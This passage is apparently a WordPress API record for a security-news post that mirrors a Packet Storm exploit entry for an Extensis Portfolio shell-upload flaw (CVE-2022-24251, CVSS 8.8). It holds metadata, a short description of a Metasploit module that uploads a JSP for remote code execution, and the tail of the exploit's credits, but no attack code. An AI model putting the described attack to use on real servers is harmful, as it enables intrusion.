end\\n    \\n    Greetings to :======================================================================\\n    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|\\n    ====================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215719&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215719\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-17T18:16:59&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits multiple vulnerabilities in Extensis Portfolio Server to achieve remote code execution. It leverages CVE-2022-24251 and related issues to upload a JSP&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-41160","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Extensis Portfolio Manager 4.0.1 Shell Upload_PACKETSTORM:215719 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41160\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Extensis Portfolio Manager 4.0.1 Shell Upload_PACKETSTORM:215719 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-17T18:16:59&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits multiple vulnerabilities in Extensis Portfolio Server to achieve remote code execution. It leverages CVE-2022-24251 and related issues to upload a JSP...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41160\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-17T12:46:02+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"17 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41160#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41160\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Extensis Portfolio Manager 4.0.1 Shell Upload_PACKETSTORM:215719\",\"datePublished\":\"2026-02-17T12:46:02+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41160\"},\"wordCount\":3291,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.8\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41160#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41160\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41160\",\"name\":\"\ud83d\udcc4 Extensis Portfolio Manager 4.0.1 Shell Upload_PACKETSTORM:215719 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-17T12:46:02+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41160#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41160\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41160#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Extensis Portfolio Manager 4.0.1 Shell Upload_PACKETSTORM:215719\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Extensis Portfolio Manager 4.0.1 Shell Upload_PACKETSTORM:215719 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41160","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Extensis Portfolio Manager 4.0.1 Shell Upload_PACKETSTORM:215719 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-17T18:16:59&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits multiple vulnerabilities in Extensis Portfolio Server to achieve remote code execution. It leverages CVE-2022-24251 and related issues to upload a JSP...","og_url":"https:\/\/zero.redgem.net\/?p=41160","og_site_name":"zero redgem","article_published_time":"2026-02-17T12:46:02+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"17 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41160#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41160"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Extensis Portfolio Manager 4.0.1 Shell Upload_PACKETSTORM:215719","datePublished":"2026-02-17T12:46:02+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41160"},"wordCount":3291,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.8","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41160#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41160","url":"https:\/\/zero.redgem.net\/?p=41160","name":"\ud83d\udcc4 Extensis Portfolio Manager 4.0.1 Shell Upload_PACKETSTORM:215719 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-17T12:46:02+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41160#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41160"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41160#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Extensis Portfolio Manager 4.0.1 Shell Upload_PACKETSTORM:215719"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41160","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41160"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41160\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41160"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41160"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41160"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}